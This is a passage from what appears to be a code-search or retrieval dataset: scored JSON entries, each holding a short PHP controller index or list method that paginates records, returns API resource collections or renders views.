{\n $artigos = Artigo::paginate(15);\n return ArtigoResource::collection($artigos);\n }", "title": "" }, { "docid": "f02310ea34b1d707bc2f4d714e4c27f4", "score": "0.65372354", "text": "public function index()\n {\n return view($this->template.'.list.index');\n }", "title": "" }, { "docid": "f852b02ada9624be17ccc6c0b233bca4", "score": "0.65288365", "text": "public function list()\n {\n }", "title": "" }, { "docid": "151cb6ff960217da12cef7baa33178ed", "score": "0.652593", "text": "public function listAction()\n {\n if ((!$this->auth->hasIdentity()) || ($this->session->type != '1'))\n $this->_helper->redirector('index', 'index');\n\n $this->view->headTitle(\"Noticias\");\n $this->view->headLink()->appendStylesheet($this->view->baseUrl().'/css/list.css');\n\n $tbNews = new TbNews();\n $this->view->news = $tbNews->select()->query()->fetchAll();\n }", "title": "" }, { "docid": "37171947214224489a9ea88290a99d00", "score": "0.652515", "text": "public function index()\n {\n return view(self::$prefixView.'list');\n }", "title": "" }, { "docid": "37171947214224489a9ea88290a99d00", "score": "0.652515", "text": "public function index()\n {\n return view(self::$prefixView.'list');\n }", "title": "" }, { "docid": "b1dec5f0dac45e2b14cc0f57d1289acb", "score": "0.65199256", "text": "public function index()\n {\n //\n\t\t\t\t// $resources = Resource::all();\n\t\t\t\t// $resources = $resources->sortByDesc('creation_date');\n\t\t\t\t// return response()->json($resources->values()->all());\n\n\t\t\t\treturn response()->json(Resource::orderBy('creation_date', 'desc')->get());\n }", "title": "" }, { "docid": "e88169ebd124db7bccec6b3cfb0167be", "score": "0.65179664", "text": "public function index()\n {\n $albums = Album::orderBy('date', 'desc')->paginate(20);\n\n\n return AlbumResource::collection($albums);\n }", "title": "" }, { "docid": "fbf72fd4f1e2e3a08a1398a646fce575", "score": "0.651124", "text": "public function index()\n\t{\n\t\t$shows = $this->shows->all();\n\t\n\t\treturn $this->apiResponse('success', $shows->toArray());\n\t}", "title": "" }, { "docid": "1860cb7aec35aa79a7186d6bd7c6a7d4", "score": "0.65010643", "text": "public function index()\n {\n //\n return view('backend.admin.catalogs.index')\n ->with(['catalogs' => Catalog::paginate(10)]);\n }", "title": "" }, { "docid": "66db74bb7d42b9897dbcbf88ebabf0ca", "score": "0.64994514", "text": "public function index()\n {\n $request = request();\n if($request->query->has('page_size')){\n $this->setPageSize(request()->query->getInt('page_size', $this->page_size));\n }\n\n $items = $this->indexService->getItems($this->pageSize());\n\n return view($this->templateIndex, [\n 'items' => $items,\n 'title' => $this->getTitle(),\n 'controller' => $this->getController(),\n 'fields' => $this->listFields(),\n 'sortable' => $this->isSortable\n ]);\n }", "title": "" }, { "docid": "3bcd0d0bc609b30833a686c0ca043c6e", "score": "0.6498308", "text": "public function index()\n {\n $links = Link::all();\n\n return LinkResource::collection($links);\n }", "title": "" }, { "docid": "bc53be210c897827bfafe166eceeb35a", "score": "0.6491012", "text": "public function index()\n {\n $employees = $this->paginate($this->Employees);\n\n $this->set(compact('employees'));\n $this->set('_serialize', ['employees']);\n }", "title": "" }, { "docid": "43a505c360befd38cd453143a05a36e2", "score": "0.6481906", "text": "public function index()\n {\n $statuses = $this->statuses->paginate(10);\n\n return view('backend.statuses.index',compact('statuses'));\n }", "title": "" }, { "docid": "65d1d46b6cab2b6d3d5320b59de21946", "score": "0.64814454", "text": "public function index()\n {\n //get some articles\n $posts = Post::paginate(15);\n //return the collection as resource\n return PostResource :: collection($posts);\n }", "title": "" } ]